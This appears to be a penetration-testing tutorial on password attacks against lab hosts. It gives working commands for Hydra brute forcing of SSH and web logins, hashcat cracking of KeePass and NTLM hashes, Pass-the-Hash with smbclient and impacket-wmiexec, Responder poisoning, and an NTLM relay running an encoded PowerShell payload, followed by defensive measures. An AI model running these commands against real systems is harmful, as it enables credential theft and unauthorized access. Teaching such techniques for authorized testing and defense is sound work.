Overview

Password attacks remain one of the most effective ways to gain unauthorized access to systems. Understanding these techniques is important for security professionals to better protect systems and for ethical hackers during penetration testing. This article provides a comprehensive overview of various password attack methods, including network service login attacks, hash cracking, and advanced techniques like Pass-the-Hash and NTLM relaying.

Network Service Login Attacks

Network services that require authentication are common targets for password attacks. Automated tools like Hydra can be used to perform brute force or dictionary attacks against various services.

Using Hydra for SSH Attacks

Hydra is a versatile tool for performing login attacks against various network services. Here’s an example of using Hydra against SSH:

hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.201.201

This command attempts to log in as user “george” using passwords from the rockyou.txt wordlist against an SSH server running on port 2222.

Attacking Web Authentication

Hydra can also be used to attack web applications. For HTTP POST form authentication:

hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.201.201 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"

For HTTP Basic Authentication:

hydra -V -l admin -P /usr/share/wordlists/rockyou.txt 192.168.201.201 http-get /

Password Hashing and Cracking

When direct password attacks aren’t possible, attackers often target password hashes. Understanding how to generate, identify, and crack different types of hashes is essential.

Hash Generation

For SHA256:

echo -n "secret" | sha256sum

Hash Identification

Before attempting to crack a hash, it’s important to identify its type. Tools like hash-identifier can be used for this purpose.

KeePass Database Cracking

Password managers like KeePass store credentials in encrypted databases. If an attacker gains access to the .kdbx file, they might attempt to crack it:

1. Extract the hash:

   keepass2john Database.kdbx > keepass.hash
   

2. Clean the hash:

   sed 's/^Database://g' keepass.hash > clean.hash
   

3. Crack with Hashcat:

   hashcat -m 13400 clean.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule
   

Windows Password Attacks

Windows systems store password hashes in the SAM (Security Account Manager) database. Various techniques can be used to extract and exploit these hashes.

NTLM Hash Cracking

NTLM (New Technology LAN Manager) is a suite of Microsoft security protocols that includes procedures for authentication, integrity, and confidentiality.

To crack an NTLM hash:

hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

Pass-the-Hash (PtH)

Pass-the-Hash allows an attacker to authenticate to a remote server using the underlying NTLM hash of a user’s password without knowing the actual password.

Using SMBClient with NTLM hash:

smbclient \\\\192.168.199.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b

For remote code execution, Impacket scripts can be used:

impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.199.212

Net-NTLMv2 Attacks

When direct access to NTLM hashes isn’t possible, attackers may target Net-NTLMv2 authentication.

Capturing Net-NTLMv2 Hashes with Responder

Responder is a tool designed to poison responses to LLMNR, NBT-NS, and MDNS requests to capture authentication attempts.

sudo responder -I tun0

When a Windows system attempts to access a non-existent resource, Responder can capture the Net-NTLMv2 hash sent during the authentication attempt:

[SMB] NTLMv2-SSP Client   : 192.168.199.211
[SMB] NTLMv2-SSP Username : FILES01\paul
[SMB] NTLMv2-SSP Hash     : paul::FILES01:1059a4b067904e43:EBC54C678752C4EBA2C2288F99AB4D76:0101000000000000...

These hashes can then be cracked using Hashcat:

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Relaying Net-NTLMv2 Hashes

Instead of cracking captured Net-NTLMv2 hashes, attackers can relay them to authenticate to other services. This is known as an SMB relay attack.

Using Impacket’s ntlmrelayx:

impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.199.212 -c "powershell -e <base64_encoded_payload>"

Defensive Measures

To protect against password attacks:

1. Implement strong password policies:
   • Minimum length of 12+ characters
   • Mix of uppercase, lowercase, numbers, and special characters
   • Regular password rotation

2. Use multi-factor authentication (MFA) wherever possible

3. Limit login attempts and implement account lockout policies

4. Monitor and log authentication attempts for suspicious activity

5. Use modern authentication protocols like Kerberos instead of NTLM

6. Keep systems updated with the latest security patches

7. Disable LLMNR and NBT-NS when not required to prevent response spoofing

8. Network segmentation to limit lateral movement after compromise

Conclusion

Password attacks continue to be effective due to weak password practices and legacy authentication protocols. Security professionals should understand these attack vectors to better defend their systems. Always remember that these techniques should only be used for ethical hacking, penetration testing, and security research with proper authorization.

By implementing a comprehensive security strategy that addresses these vulnerabilities, organizations can significantly reduce the risk of successful password attacks and unauthorized access to their systems.